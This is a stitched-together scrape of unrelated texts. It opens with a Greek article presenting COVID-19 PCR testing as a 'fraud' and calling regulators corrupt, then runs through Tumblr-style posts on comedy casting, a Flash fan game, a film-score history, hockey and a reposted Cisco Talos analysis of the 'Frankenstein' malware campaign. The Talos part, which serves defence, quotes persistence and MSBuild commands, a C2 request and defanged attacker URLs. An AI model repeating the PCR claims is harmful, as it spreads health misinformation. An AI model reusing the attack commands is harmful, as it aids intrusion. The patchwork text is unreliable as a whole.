Στις 27 Ιουνίου 2020, οι Τorsten Engelbrecht και Konstantin Demeter έδωσαν το πρώτο σημαντικό χτύπημα στην απάτη των τεστ PCR, αποδεικνύοντας με μια εντυπωσιακά λεπτομερή έρευνα-υπόδειγμα ότι τα «τεστ PCR δεν έχουν καμιά διαγνωστική αξία», ότι «είναι επιστημονικά αβάσιμα και αναξιόπιστα» και ότι χρησιμοποιήθηκαν ως βασικό εργαλείο για την επιβολή των lockdown.

Ο Τorsten Engelbrecht είναι βραβευμένος ερευνητής δημοσιογράφος και συγγραφέας –μαζί με τον παθολόγο Dr Klaus Kohnlein, MD, έγραψαν το Virus-Mania– και άρθρα τους έχουν δημοσιευτεί στο Rubikon, Süddeutsche Zeitung, Financial Times Deutschland κ.ά., και ο Konstantin Demeter είναι ανεξάρτητος ερευνητής.

Το πλήρες άρθρο τους με τίτλο «Το Τεστ PCR για την COVID-19 είναι άνευ αξίας από επιστημονική άποψη»: https://off-guardian.org/2020/06/27/covid19-pcr-tests-are-scientifically-meaningless/

Στις 1 Ιουλίου 2020, η Βουλγαρική Εταιρεία Παθολόγων (Bulgarian Pathology Association - BPA) δημοσίευσε το ως άνω άρθρο των Engelbrecht και Demeter.

Ο ίδιος ο εφευρέτης της μεθόδου PCR, Kary Mullis, για την οποία τιμήθηκε με το βραβείο Nobel Χημείας το 1993, τόνιζε ότι πρόκειται για εργαστηριακή τεχνική-εργαλείο και όχι διαγνωστική μέθοδο. Και δήλωνε:

«Εάν πρέπει να υπερβείτε τους 40 κύκλους για να ενισχύσετε ένα μοναδικό αντίγραφο γονιδίου, τότε αντιμετωπίζετε ένα σοβαρό πρόβλημα με τον υπολογιστή σας». (Kary Mullis)

Οι κατευθυντήριες γραμμές του MIQE έχουν αναπτυχθεί υπό την αιγίδα του Stephen Bustin, καθηγητή Μοριακής Ιατρικής, ενός παγκοσμίου φήμης ειδικού για την ποσοτική PCR και συγγραφέα του βιβλίου «A-Z of Quantitative PCR», το οποίο θεωρείται «η Βίβλος του qPCR». Το 2009, σε μελέτη του που δημοσιεύθηκε στο Clinical Chemistry, ο Stephen Bustin επισημαίνει:

«Η χρήση τέτοιων αυθαίρετων ορίων περικοπής της Cq δεν είναι ιδανική, επειδή μπορεί να είναι είτε πολύ χαμηλή (εξαλείφοντας τα έγκυρα αποτελέσματα) είτε πολύ υψηλή (αυξάνοντας τα ψευδώς «θετικά» αποτελέσματα). [άποψη που την επανέλαβε και σε πρόσφατη τηλεοπτική συνέντευξή του]

Και, σύμφωνα με τον καθηγητή Bustin, πρέπει να στοχεύεται ένας αριθμός κύκλων επεξεργασίας του υλικού (Cq) μεταξύ 20 και 30, ειδάλλως πρέπει να ανησυχούμε για την αξιοπιστία των αποτελεσμάτων για οποιοδήποτε Cq άνω των 35.

Εάν η τιμή Cq γίνει πολύ υψηλή, καθίσταται δύσκολη η διάκριση του πραγματικού σήματος από τον «θόρυβο», για παράδειγμα λόγω των αντιδράσεων μεταξύ των εκκινητών (primers) και ανιχνευτών φθορισμού (fluorescent probes), και ως εκ τούτου υπάρχει μεγαλύτερη πιθανότητα ψευδώς «θετικών» αποτελεσμάτων.

1.4 ΔΕΥΤΕΡΗ ΑΠΟΚΑΛΥΨΗ ΤΗΣ ΑΠΑΤΗΣ: 1-12-2020

Στις 1 Δεκεμβρίου 2020, δύο επιστήμονες υψηλού κύρους και εξαιρετικά έμπειροι στον τομέα τους, ο Dr. Med. Wolfgang Wodarg, καθηγητής στο πανεπιστήμιο του Flensburg, και ο Dr. Michael Yeadon, πνευμονολόγος, πρώην επιστημονικός διευθυντής της Pfizer και επικεφαλής του τμήματος «Έρευνας για την Αλλεργία και την Αναπνευστική Νόσο» της εταιρείας, κατέθεσαν μια Αναφορά στην «Ειδική Ομάδα για την πανδημία Covid-19» (COVID-EFT) στον διεφθαρμένο «Ευρωπαϊκό Οργανισμό Φαρμάκων» (EMA), ο οποίος παραχώρησε άδεια χρήσης της εργαστηριακής τεχνικής PCR ως διαγνωστικού μέσου της COVID. (!!!)

Με την Αναφορά τους ζητούν να σταματήσει η διαδικασία αδειοδότησης ενός εμβολίου για την COVID-19 και να ανακληθεί η fake-μελέτη των Corman, Drosten, Landt, Reusken, Kaiser, et al. Surveillance, 2020. 2020.

Αναφέρθηκαν στην ακαταλληλότητα της χρήσης της PCR ως διαγνωστικού εργαλείου για τον προσδιορισμό της μόλυνσης από την COVID-19 και στήριξαν με αδιάσειστα επιχειρήματα το συμπέρασμά τους ότι:

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fearsomeandwretchedandwrong · 4 years

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A guide to SNL cast members who guest-starred on Drunk History

1.1 "Washington, D.C."

Will Forte as Edwin Booth

1.3 "Atlanta"

Jenny Slate as herself

Bill Hader as John Pemberton

Rob Riggle as J. Edgar Hoover

Kevin Nealon as the Grand Dragon

1.4 "Boston"

Chris Parnell as Charles II of England

1.5 "San Francisco"

Kristen Wiig as Patty Hearst

1.7 "Nashville"

Taran Killam as William Clark

Casey Wilson as Dolly Parton

1.8 "The Wild West"

Chris Parnell as James Bowie

Horatio Sanz as Antonio Lopez de Santa Anna

2.2 "New York City"

Michaela Watkins as nurse

Taran Killam as Frederic Auguste Bartholdi

2.8 "Philadelphia"

Chris Parnell as Benedict Arnold

2.10 "First Ladies"

Bobby Moynihan as Grover Cleaveland

Casey Wilson as Dolley Madison

3.1 "New Jersey"

Jenny Slate as herself

3.2 "Miami"

David Koechner as Diego Columbus

Horatio Sanz as Alberto Bravo

Maya Rudolph as Griselda Blanco

3.4 "Spies"

Will Ferrell as Roald Dahl

3.6 "Games"

Taran Killam as Bobby Fischer

3.11 "Inventors"

Chris Parnell as Thomas Edison

4.1 "Great Escapes"

Chris Parnell as Charles Joughin

4.2 "Legends"

Kyle Mooney as Sam Patch

4.3 "Bar Fights"

Vanessa Bayer as Carrie Nation

4.4 "The Roosevelts"

Rob Riggle as Theodore Roosevelt

4.5 "Scoundrels"

Taran Killam as Lord Gordon Gordon

4.8 "Food"

Michael McKean as Arthur Jell

Michaela Watkins as Julia Child

4.10 "Shit Shows"

Jenny Slate as herself

David Koechner as Edwin Forrest

5.2 "Dangerous Minds"

Taran Killam as Jack Parsons

5.6 "Underdogs"

David Koechner as John Pastore

5.7 "Drunk Mystery"

Kyle Mooney as himself

Taran Killam as D.B. Cooper

Vanessa Bayer as Mary Gillespie

6.1 "Are You Afraid of the Drunk?"

Will Ferrell as Frankenstein's Monster

6.2 "National Parks"

David Koechner as Theodore Roosevelt

6.6 "Drugs"

Chris Parnell as Carl Sagan

6.8 "Drunk Mystery Pt. 2"

Taran Killam as himself

Bobby Moynihan as James T. Callender

6.9 "Derek Waters Believe It Or Not"

Taran Killam as John Alfred Preston

6.13 "Whistleblowers"

Vanessa Bayer as Martha Mitchell

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rhinoloading62 · 3 years

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Super Smash Flash 2 Download Ultima Version

The program is sometimes distributed under different names, such as 'Super Smash Flash 2 Beta'. The following versions: 1.2, 1.1 and 1.0 are the most frequently downloaded ones by the program users. The latest version of the program can be installed on PCs running Windows 7/8/10, 32-bit. Super Smash Flash 2 1.0.3 Beta is here! It's time to fight with the iconic Nintendo characters, the most powerful warriors from anime universes, and heroes of games from Sega, Capcom, and Bandai. Developed by McLeod Gaming, it's a continuation of the famous Super Smash Flash and one of the largest Flash games ever made.

The most popular Smash fangame on the internet has received its biggest update yet – 3 years in the making!

Are you ready to experience… SUPER SMASH FLASH 2 BETA?

NOTE: This game is still very much a work in progress. If you’d like to assist with the development, please click here.

…Super Smash what? – Super Smash Flash is back! You do remember us, right? The original Smash Bros fangame, most popular for content and difficulty, rather than gameplay, Super Smash Flash was…well, Super Smash in a Flash. It showed very few similarities to the actual Smash Bros gameplay as it was our first game, yet still somehow attracted large crowds of people. Now, with the knowledge we’ve picked up along the way, we’re striving for the utmost quality this time around. Super Smash Flash 2 is not a game made by one person in a month, like SSF1. Super Smash Flash 2 is a game made by hundreds of people over several years. It will be one of the biggest Smash bros fan-games – no. One of the biggest Flash games, to date. We promise.

Is this actually made in Flash? – It is, and one of our major product goals here is to show that Flash is underestimated and underappreciated. If we can make a console-quality game with controller support, online mode, and 10 years worth of custom art, so can you. No other programming interface would allow us the kind of convenience and workflow that we have with Super Smash Flash 2 without custom tools. Flash is incredible for creating video games and animations with a low barrier to entry and an incredibly simple interface. (tl;dr stop calling for Flash to die, jerks)

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This isn’t listed on Twitch! Can I stream/watch SSF2 Beta live? Unfortunately, Twitch does not list us as a game. We suggest using YouTube Gaming!

Super Smash Flash Free Download

Do you have a Discord? We do! Please note that invitations are not always open, so if the link doesn’t work please check back again later.

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Can you add (insert character here)? – Unfortunately with a game of this scale, we need to plan things out ahead of time so that we can finish the game at some point. At this time we cannot accept content suggestions for this reason. Sorry!

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Are there combos in Super Smash Flash 2? – Absolutely. Super Smash Flash 2 has low landing lag, high hitstun, and high gravity, leading to an exhilarating combo game with lots of mixups that will still feel right at home to those coming from any of the official Smash games – even ones where combos don’t exist. This is one of our major project goals.

Super Smash Flash 4 Download

Which Smash game is SSF2 based off of? – Ah, I see you noticed that SSF1 was based off of Melee, huh. Well, think of SSF2 as a Frankenstein. We’re smashing together a “Greatest Hits” type deal with our engine, feel, and aesthetics, but we’re also taking our own creative liberties as well. There’s no definite answer to this question!

Well, in terms of engine? – SSF2’s engine is Frankenstein’d too. At first glance, it’s very reminiscent of Smash 4, actually; some of the more obvious engine aspects will make that clear right away (with the low landing lag, high-ish hitstun, high gravity, etc.) But it goes deeper than that, and this will become more apparent as the game matures and we begin activating our other engine aspects.

Do characters have complete movesets? – Absolutely. Some characters have placeholder animations at the moment, but they will all be remedied before the full release.

Does this work on Mac/Linux? – SSF2 runs better on Mac than on most Windows computers, actually! As far as Linux, you can always play our game using Chrome until we get an executable finished up.

Is online mode planned? – It’s in!! https://rhinoloading62.tumblr.com/post/654800507240677376/thanksgaming-potatoes. 🙂

Super Smash Flash 2 V0.9b

What about L-Cancelling or (insert some complicated Smash Bros-related acronym here)? – Probably not included. As far as L-cancelling though, SSF2 has globally reduced landlag (some call this ALR – Aerial Lag Reduction), and instead of being move-specific, it’s mostly character specific with a few exceptions, ranging from 3 to 12 frames (at 30 FPS). If we gave you L-cancelling, you probably wouldn’t need to use it often.

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infinitycircuit · 3 years

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1977 Bata x Wilson x John Woodens | meatcopter69 | 1.1

...And here comes the clown car, ready to deposit its smallest and most insipid jester. Whoever Lindsay's sitting next to, well, sorry in advance for the absolute bullshit you're about to be in proximity to, because he isn't sorry at all.

"Wa-heeeey! Look at this shitshow! I didn't think we could top the kinky four way handcuff thing, but I'm impressed. This is like a four, five out of ten on the PogScale. Are you guys having fun? I am!..." "...Yeah, well, maybe I was until this joke dragged on for way too fucking long. Can we knock this shit off? I have my content queue backed up for like three weeks max, if we don't get off this train pronto my little meatlings are gonna start wondering where their graven idol is."

Lindsay waves a hand, dismissively.

"Anyway, I think we should vote Frankenstein specifically because it'd piss them off, and also, they negged me for drinking Windex."

#ch 1 #trial #meatcopter69 #submission

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lbriscoe · 7 years

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Autumn Semester - Winter Break, 1.1

Happy New Year, everyone! I did sleep ‘til about 10:30 since my friends and I went to sleep at about 4 am. I was rather productive today, unless what I expected. I tidied up my flat, and cleaned it. I also planned my whole essay on Obama’s January 2016 speech about guns. As for my critical reading essay, I had planned on doing a queer reading of Frankenstein, but I hesitate now with doing one about Gatsby and the question of the representation of masculinity. I’m going to rewatch the film tonight then (I have to base my analysis on both the film and the book when it comes to Gatsby).

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jobsearchtips02 · 4 years

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High-Tech vs Tradition: The Battle Over Wagyu Beef

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Japanese and Australian farmers are competing for the U.S. wagyu market that will be worth $1.1 billion by 2023. WSJ visits one rancher using traditional methods to produce $200 steaks, and another who has invested in new technology to slash prices. Photo: Mami Morisaki for The Wall Street Journal

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from Job Search Tips https://jobsearchtips.net/high-tech-vs-tradition-the-battle-over-wagyu-beef/

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terabitweb · 5 years

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Original Post from Talos Security Author:

This blog was authored by Danny Adamitis, David Maynor and Kendall McKay.

Executive summary

Cisco Talos recently identified a series of documents that we believe are part of a coordinated series of cyber attacks that we are calling the “Frankenstein” campaign. We assess that the attackers carried out these operations between January and April 2019 in an effort to install malware on users’ machines via malicious documents. We assess that this activity was hyper-targeted given that there was a low volume of these documents in various malware repositories. Frankenstein — the name refers to the actors’ ability to piece together several unrelated components — leveraged four different open-source techniques to build the tools used during the campaign.

The campaign used components of:

An article to detect when your sample is being run in a VM

A GitHub project that leverages MSbuild to execute a PowerShell command

A component of GitHub project called “Fruityc2” to build a stager

A GitHub project called “PowerShell Empire” for their agents

We believe that the threat actors behind the Frankenstein campaign are moderately sophisticated and highly resourceful. The actors’ preference for open-source solutions appears to be part of a broader trend in which adversaries are increasingly using publicly available solutions, possibly to improve operational security. These obfuscation techniques will require network defenders to modify their posture and procedures to detect this threat.

This report outlines the various anti-detection techniques used throughout the Frankenstein campaign. Some of these techniques included checking to see if any analysis tools, such as Process Explorer, were running in the background and determining whether the sample was inside of a virtual machine. The threat actors also took additional steps to only respond to GET requests that contained predefined fields, such as a non-existent user-agent string, a session cookie, and a particular directory on the domain. The threat actors also used different types of encryption in order to protect data in transit.

Trojanized documents

Talos has identified two different infection vectors associated with this particular campaign. In order to compromise their victims, the threat actors sent the trojanized Microsoft Word documents, probably via email. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. We were able to correlate these two techniques to the same threat campaign due to overlapping threat actor C2.

In the first scenario, Talos discovered a document named “MinutesofMeeting-2May19.docx”, that appeared to display the national flag of Jordan. Once the victim opens the document, it fetches a remove template from the actor-controlled website, hxxp://droobox[.]online:80/luncher.doc. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim’s machine. After the exploit, the file would run a command script to set up persistence as a scheduled task named “WinUpdate”.

“/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR” That scheduled task would run a series of base64-encoded PowerShell commands that acted as a stager. The stager will be described in more detail in the next section.

Example of the MinutesofMeeting-2May19.docx.

One of the samples we analyzed that prompted the victim to enable macros claimed to have “been secured by Kaspersky,” a well-known anti-virus firm. While threat actors commonly create fake security labels for malicious documents, this technique could also indicate that the threat actor had performed reconnaissance on the intended victims, suggesting that the documents had been socially engineered to some degree.

Example of malicious Microsoft Word document.

Two other documents we associated with this group appeared to be more targeted in nature. One document contained logos that appear to be from several Middle Eastern countries’ government agencies, while the other document showed an image of unspecified buildings that were possibly recognizable to a select group of targets.

Trojanized document containing official logos.

Trojanized document containing the image of unidentified buildings.

Visual Basic script and its anti-analysis features

As soon as the user enabled the macro, a robust Visual Basic Application (VBA) script began to execute. The VBA script contained two anti-analysis features. First, it would query Windows Management Instrumentation (WMI) to check if any of the following applications were running:

VMWare

Vbox

Process Explorer

Process Hacker

ProcMon

Visual Basic

Fiddler

WireShark

Next, the script would check to see if any of the following tasks were running:

VMWare

Vbox

VxStream

AutoIT

VMtools

TCPView

WireShark

Process Explorer

Visual Basic

Fiddler

A copy of the macro’s code, which checks for analysis-oriented applications.

If any of the aforementioned applications or task names were discovered during the enumeration process, the script would stop execution. The next evasion technique was to call WMI and determine the number of cores allocated to the system. If the number of cores was less than two, the script would stop execution and the end user would receive a pop-up message stating “The File is not compatible with your Microsoft Office Version.” We assess that this technique was modeled after a 2015 TrustedSec report as a way to detect if the sample was being run in a virtual machine or a sandbox environment.

Once the evasion checks were complete, the threat actors used MSbuild to execute an actor-created file named “LOCALAPPDATAIntelinstal.xml”. Based on lexical analysis, we assess with high confidence that this component of the macro script was based on an open-source project called “MSBuild-inline-task.” While this technique was previously documented last year, it has rarely been observed being used in operations. Talos suspects the adversary chose MSBuild because it is a signed Microsoft binary, meaning that it can bypass application whitelisting controls on the host when being used to execute arbitrary code.

A copy of the threat actors’ version of the MSbuild-inline-task.

The last line of the file would run encoded commands from the command line:

cmd.exe /c C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe LOCALAPPDATAIntelinstal.xml C:WindowsSystem32

Once the “instal.xml” file began execution, it would deobfuscate the base64-encoded commands. This revealed a stager, or a small script designed to obtain an additional payload. While analyzing this stager, we noticed some similarities to the “Get-Data” function of the FruityC2 PowerShell agent. One notable difference is that this particular stager included functionality that allowed the stager to communicate with the command and control (C2) via an encrypted RC4 byte stream. In this sample, the threat actors’ C2 server was the domain msdn[.]cloud. A copy of the deobfuscated stager can be seen in the image below.

Copy of the deobfuscated stager.

When executed successfully, the stager connected to the C2. dHowever, in order to receive the agent, the request needed to contain the correct directory, user-agent string, and session cookie. The anticipated GET request appeared as follows:

GET /FC001/JOHN HTTP/1.1 Cookie: session=drYuSCFQdbQYHozM2dku17KYkY8= User-Agent: Microsoft Internet Explorer Host: msdn[.]cloud Connection: Keep-Alive

If successful, the C2 would return a string of characters. Once the string was RC4 decrypted, it launched a PowerShell Empire agent. The PowerShell script would attempt to enumerate the host to look for certain information, such as:

Username

Domain name

Machine name

Public IP address

Checks if the current user has administrative privileges

Obtains a list of all currently running processes

Calls WMI to obtain operating system version

Obtains the security system’s SHA256 HMAC

Once the aforementioned information was obtained, it was sent back to the threat actor’s C2. Similar to the stager, the agent included functionality to communicate via an encrypted channel, in this case AES-CBC, in addition to using a specific user-agent string and a session key. This agent would allow the threat actors to remotely interact with the agent to upload and download files and to use the various plugins that were compatible with the Empire framework, such as those used to harvest credentials on the victim’s machine. While this threat actor exhibited signs of sophistication, there were some small components that were overlooked. For example, it appears that the threat actor forgot to configure certain components for the Empire agent, such as leaving placeholder values for some variables like “WORKING_HOURS_REPLACE” and “REPLACE_KILLDATE”.

Conclusion

The actors’ preference for open-source solutions appears to be part of a broader trend in which adversaries are increasingly using publicly available tools, which offer them some advantages over a completely custom toolset. A campaign that leverages custom tools is more easily attributed to the tools’ developers. One example of this was the code overlap in the VPNFilter malware that allowed us to associate the activity with the Blackenergy malware. By contrast, operations performed with open-source frameworks are extremely difficult to attribute without additional insights or intelligence. Over the past several years, there have been multiple instances of advanced threat actors using open-source techniques, such as MuddyWater, among others. This growing trend highlights that highly trained operators are increasingly using unsophisticated tools to accomplish their goals.

Coverage

Ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware detailed in this post. Below is a screenshot showing how AMP can protect customers from this threat. Try AMP for free here.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Additional protections with context to your specific environment and threat data are available from the Firepower Management Center.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

Indicators of Compromise

Hashes 418379fbfe7e26117a36154b1a44711928f52e33830c6a8e740b66bcbe63ec61 50195be1de27eac67dd3e5918e1fc80acaa16159cb48b4a6ab9451247b81b649 6b2c71bfc5d2e85140b87c801d82155cd9abd97f84c094570373a9620e81cee0 6be18e3afeec482c79c9dea119d11d9c1598f59a260156ee54f12c4d914aed8f 6e6e7ac84b1b0a0ae833ef2cb56592e1a7efc00ffad9b06bce7e676befc84185 b2600ac9b83e5bb5f3d128dbb337ab1efcdc6ce404adb6678b062e95dbf10c93

URLs hxxp://droobox[.]online/luncher.doc hxxp://msdn[.]cloud/FC001/JOHN hxxp://search-bing[.]site/FC003/User=H6szn1woY2pLV

Domains msdn[.]cloud search-bing[.]site droobox[.]online

#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */

Go to Source Author: It’s alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign Original Post from Talos Security Author: This blog was authored by Danny Adamitis, David Maynor…

#Talos Security

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unit10filmandtvesmeracey · 7 years

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Key Figures and Landmark Scores (1.1)

There have been many important developments in the way that TV programmes and film are created. As a result, the way that composers write has evolved and it is the key developments and scores that have allowed some composers to become key figures in the industry.

In the ‘Sound of Cinema’ series, an episode called ‘The Music that Made The Movies, Part 1: The Big Scores’, Beth McGowan (2013), discusses the key figures of the TV and Film industry and landmark scores that shaped the relationship we know between score and image.

Part 1 of the episode asks the question: ‘How did the orchestral sound become the main say of the cinema experience?’

In the 1920′s, known as the ‘silent era’ in Hollywood, picture houses showed all the latest films. These films were without dialogue. Supporting the picture show was live music and sound affects. The sound effects and music were commonly played by an in-house small piece orchestra or by a silent movie musician who played an acoustic organ called a ‘Theatre Pipe Organ’ known as a “one man orchestra’. This instrument had sampled sound effects such as car horns that were to be played when appropriate during the picture. In the era of silent movies, set scores where not a thing and with the absence of dialogue there was no cause for underscores. The music played was entirely up to the musician on the night of the showing and because of this, the cinematic experience may have differed drastically from the last showing of the same film because the music may be different. This may change the emotion of the films content and alter who the audience feel at certain points. Because of this it was important that though there was no set score, the musicians playing, either alone on a theatre pipe organ, or as part of a orchestra, played music that suited the content of the film.

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Video of the Theatre Pipe Organ being played against a Silent Film.

‘Don Juan’ was a picture film that changed the industry in terms of all creative aspects. This was because Don Juan was the first full length feature film to have pre-recorded sound. This introduced the ‘Vitaphone System’ which is where a disc was synchronised with the project showing the film. This system was famously used in the film ‘The Jazz Singer’ that was released in 1927. This landmark system changed in the industry by ending the silent era.

In 1933 RKO Studios released ‘King Kong’. RKO became key figures in the film and music industry as the became the first studios to commission a score that ran throughout the film, as a underscore. With new generations going to see picture films, the studios decided to take the risk of using an underscore throughout the film as they thought that this would attract a younger audience. The person they employed to take on the role was their in-house composer ‘Max Steiner’ who was considered one of the ‘first true modern composers of the 19th century.”

Max Steiner studied music in the home of film music: Vienna, Austria. This is where many musicians of his generation studied classical music where in the 19th century, orchestral compositions and operas were most popular. Therefore it is no surprise that the film industry is known for orchestral classic hollywood music during the times discussed so far.

Max Steiner was a key figure for the underscore industry with his use of ‘leitmotifs’. These are short memorable musical ideas that fit the character of the story. This technique was used in Kong and became the key element of the musical language of cinema.

In Kong, accuracy of music to movement was unheard of. Steiner became a key figure for composers creating a click track for image. On 35m film with optical soundtrack, he punched holes into the film to create a click track. This was heard when the film was played and the interval of holes could be heard. This helped the Steiner to create and find the correct tempo for each scene as each hole followed the key movements on screen.

youtube

King Kong ‘Sniffing’ scene showing the music matching his left hand movements.

As Hollywood composers grew, so did the orchestral scores from the 19th century. During this period of time where a classic vienna sound dominated the Hollywood films, composers such as Franz Waxman and Dimitri Tiomkin were becoming very big composing for range of Hollywood classics known for their full orchestral sound and big impact punches from horn sections:

Franz Waxman: The Bride of Frankenstein and Rebecca

Dimitri Tiomkin: The Lost Horizon and It’s A Wonderful Life

Max Steiner: Casablanca and Gone With The Wind

In 1934 Erich Wolfgang Korngold who composed for ‘Captain Blood’ introduced the romantic approach to film score with the use of romantic style, rich layered scores. In 1935 he framed the gateway for musicality in films scored with his romantic underscores and this can be heard in ‘The Adventures of Robin Hood’ released in 1938.

He was particularly successful at and keen to augment the action the scenes he scored. The style of his compositions followed the action and movement of characters of scenes perfectly, allowing the audience to feel the rush or tension of a scene as if they were the characters themselves. This is shown well in in a fight scene in ‘Robin Hood’ from 1938. He was known for being a “fine melodist” with his his romance leitmotif for the lead character, Robin Hood. A popular opinion from those involved in the film and music industry is that Konrgold “brought film music to it’s peak of artistic invention’.

The composers of ‘golden age Hollywood’ came from the old world, known for a form of orchestration which thousands of people knew, but when the composers and Hollywood got their hands on this musical style, they made it into something that millions of people would hear. America for the 19th century orchestral composers was a ‘land of freedom’ and a sense of this went into their orchestration with the content and emotion they displayed. They created what we now know as ‘Film Music’.

A new kind of film emerged in the 1940′s. This type of film required music from the new world, not the old. The orchestral, romantic work of Korngold and Steiner was no longer required. This new era saw the introduction of 20th century scores and 20th century composers. This film was known as ‘Film Noir’, known for its inclusion of black, white and grey human experiences, this being the good and the bad, darkness as well as light.

This ambiguity brought from film Noir is best represented in the title sequence from ‘Double Indemnity’, a definitive film for its time as well as for film Noir. In this sequence ambiguity is provided through the first chord sequence that the audience hears. In this progression, it is not entirely obvious if the piece is played in a minor or major key. Cleverly as result, it is not entirely obvious if the content of the following scenes would be good or bad. As well as this the progression does not resolve and therefore the audience are not left reassured at any point. The mystery is allowed to continue. The composer of this impressive score is ‘Miklos Rosza’ who's career began in London, England. He was an early example of a 20th Century modernist which is clear through his non conventional approach to, and experimentation with ‘complex tonality’, something that was new to the audiences of film at this time (1994). He commonly uses a ‘variation on a theme’ technique to bring back the title theme music during various parts of the scenes throughout the film. This brings back that chord sequence but perhaps with a different progression order. Rosza’s compositions showed that even classic composers trained in Europe were starting to embrace a much more contemporary sound.

Bernard Herrman was raised in New York City, NY, America. The colourful and contrasting city inspired the scores that he would go onto write and produce and this could not have contrasted from the 19th century classical Vienna scores more. Herrman began his career working for CBS radio where he composed for radio drama shows.

Most famously he wrote for Orson Welles ‘Citizen Kane’ 1941. The film was famous for its dialogue free opening sequence. During this, Herrman uses strong chords and a minimal five note leitmotif. As the scene unfolds he introduces a new element where a vibraphone, sitting on top of the mix in terms of frequency response, plays a discordent sequence that shimmers across the music played underneath. A technique that he is known for including in his other works. This contrast in frequency response adds to the mystery which is heightened due to the lack of harmonic content provided by the vibraphone. Another technique he applies to the opening sequence is to keep the chords unresolved until the end.

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The opening title for Citizen Kane.

In 1958 Bernard paired up with now legendary director, Alfred Hitchcock on a film described as the “greatest picture ever made”. This film is the mystery, thriller called, ‘Vertigo’. In this film, Herrman used a ‘musical bluff’ technique in one scene in particular. In the scene, eery, disturbing music can be heard at the start of the scene that soon changes in time with movement of the scenes shift in setting, introducing a new tune with warmth and romance. As the scene develops it finds rest but still maintains a mysterious feel. Suddenly a character that had been the main person of interest in this film jumps into a bay from height without any warning. Here the music changes but unlike the scenes before in most films, the music not pre-warn or give any indication to the audience watching that this character was going to change behaviour so quickly and drastically. This created the impression that even Herrman and the score was not aware of the events until they happened . This technique meant that the surprise of the scene was kept a surprise and added to the thrill of the film.

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‘Saving Madeleine’ scene from Vertigo showing the surprise turn in music.

Bernard was known for portraying our emotions in orchestral form and this was shown most obviously in another Hitchcock picture, ‘Psycho’ (1960), in the famous shower death scene where not only is the scene iconic, but the music accompanying this scene is too. He showed that it is intact the composer that brings a scene to new heights.

It appealed to the young audiences of the 1960′s with less conventional tastes. Unfortunately, this younger generation became an enemy for modern film who were more interested in the new programmes available on the television and new pop music on the radio rather than the impressive scores heard in film. As a result Hollywood struggled to keep up. Bernard Herrman particularly felt left behind by the new generation who demanded music that had a strong sense of a rhythm and came with a beat. He could not compete and after a messy break in friendship and partnership with Alfred, he only went on to compose three more pieces in this decade but they were not for Hollywood.

By the 1970′s, Bernard Herrman found his work was back in demand. ‘Martin Scorsese’ and Herrman together forged a new type of cinema, which was street wise but poetic and in 1976 they worked on ‘Taxi Driver’. He brought back romance as well as a 40′s Noir theme in the score. The film and score managed to capture the feelings of America during the era of the Vietnam War.

In 1976 after the war, America was in need for optimism in film that an audience could find escapism in. As a result optimistic scores were in demand and as result, the ‘Golden Age’ Hollywood was re-introduced and the man that did this was the composer, ‘John Williams’. He brought back the romantic, symphonic scores with the film series, ‘Star Wars’. The sores for which, closely resembled the compositions heard in Eric Korngold’s 1930′s and 40′s adventures such as ‘Kings Row’. And most obviously Williams took inspiration from the score for ‘Robin Hood’. But what Williams also re-introduced was the classic extended queue that Korngold had famously mastered decades before. This technique allowed him to switch back and fourth between characters without sacrificing the unity and flow of the music. This allowed the visual action on screen to appear all the more seamless.

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The end credit piece from Star Wars by John Williams and the theme from Kings Row by Eric Korngold showing the inspiration used in Williams’ work.

The success of Star Wars films showed that romantic and symphonic works of the 19th century Hollywood were no longer a part of just the past. And has remained a popular genre for film score since John Williams re-introduced this.

A modern day composer, Hans Zimmer, born in Germany has become and remained one of the most prominent names in the film, tv and music industry for decades and will continue to be for years more. Famous for his partnership with directors, Ridley Scott and Christopher Nolan, Zimmer has composed for many TV shows and Films, both independent and of blockbuster standard.

In the film Gladiator (2000), Zimmer took a new approach to to scoring action scenes. Unlike most composers in the past decades who have used a marching approach to accompany the scene, he used a Viennese Waltz where he used the power of the orchestra to support the power seen on screen during the ten minute long battle.

Zimmer faced the tasks that Steiner faced in ‘King Kong’ with his own score for the film, ‘Inception’. He had to make a movie full of fiction seem completely and unquestionably real. In order to do this he used a leitmotif (heard throughout the film) with a straight rhythm that is large and big in sound but restrained, feeding the audiences awe. To add to the impact, Hans cleverly uses a chord motif rather than a melody which is bold and strong.

https://youtu.be/x9hBWnh_O6A?t=17s

Chord Motif used in one scene in the film Inception.

Like in any industry and any role, as composers of the 60′s found out, the only successful way to keep the industry alive is to adapt. Because of the is adaption, the use of orchestral scores will no doubt continue to dominate the scores of the future.

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jodyedgarus · 7 years

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Vegas Has The Best Expansion Team In The History Of Pro Sports, And It’s Not Close

The Vegas Golden Knights are only halfway through their inaugural season, and they’ve already redefined what anyone thought was possible for an NHL expansion franchise. Against all odds, the Knights are currently 29-10-3 with 61 points, good for the best record in the Western Conference — and only 4 points shy of the Tampa Bay Lightning for the best record in the entire league. It’s enough to make the Knights hockey’s greatest debut team ever, hands down.

But that’s not all: Vegas is also lapping the field of expansion teams across every major pro sport. Even after adjusting for the way records are distributed in other sports, no other brand-new club in modern history came close to doing what the Knights have done so far. Expansion teams just aren’t supposed to have this kind of success this early.

